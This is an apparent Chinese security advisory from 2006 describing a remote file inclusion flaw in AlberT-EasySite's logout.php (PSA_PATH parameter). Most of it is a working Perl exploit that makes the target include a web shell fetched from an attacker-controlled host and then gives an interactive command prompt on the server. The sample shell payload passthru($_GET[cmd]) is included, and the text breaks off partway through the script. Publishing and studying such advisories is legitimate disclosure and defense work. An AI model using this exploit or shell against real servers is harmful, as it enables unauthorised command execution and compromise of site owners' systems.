信息来源:绿盟科技
发布日期:2006-08-27
更新日期:2006-08-29
受影响系统:
AlberT AlberT-EasySite 1.0
AlberT AlberT-EasySite 0.8.12
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 19729
AlberT-EasySite是一款基于PHP的站点生成系统。
AlberT-EasySite在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
AlberT-EasySite没有正确地验证AES/modules/auth/phpsecurityadmin/include/logout.php文件中对PSA_PATH参数的输入,允许攻击者通过包含本地或外部资源执行任意PHP代码。成功攻击要求打开了register_globals。
<*来源:Kacper (
kacper1964@yahoo.pl)
链接:
http://secunia.com/advisories/21651/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
use LWP::UserAgent;
#/*
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- - - [DEVIL TEAM THE BEST POLISH TEAM] - -
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- AES: AlberT-EasySite <= 1.0a5 Remote File Include Vulnerability
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- [Script name: AES: AlberT-EasySite v. 1.0a5
#- [Script site:
http://superalbert.it/download/AlberT-EasySite/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Find by: Kacper (a.k.a Rahim)
#+
#- Contact:
kacper1964@yahoo.pl
#- or
#-
http://www.rahim.webd.pl/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Special Greetz: DragonHeart ;-)
#- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
#-
#!@ Przyjazni nie da sie zamienic na marne korzysci @!
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Z Dedykacja dla osoby,
#- bez ktorej nie mogl bym zyc...
#- K.C:* J.M (a.k.a Magaja)
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# usage:
# perl exploit.pl <AES Locaction> <shell location> <shell cmd>
#
# perl exploit.pl
http://site.com/[AES_Path]/
http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
#
$sciezka = $ARGV[0];
$sciezkacmd = $ARGV[1];
$komenda = $ARGV[2];
if($sciezka!~/http:\/\// || $sciezkacmd!~/http:\/\// || !$komenda){usage()}
head();
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$sciezka.'AES/modules/auth/phpsecurityadmin/include/logout.php?PSA_PATH='.$sciezkacmd.'?&'.$komenda.'='.$cmd)or die "\nCouldNot connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[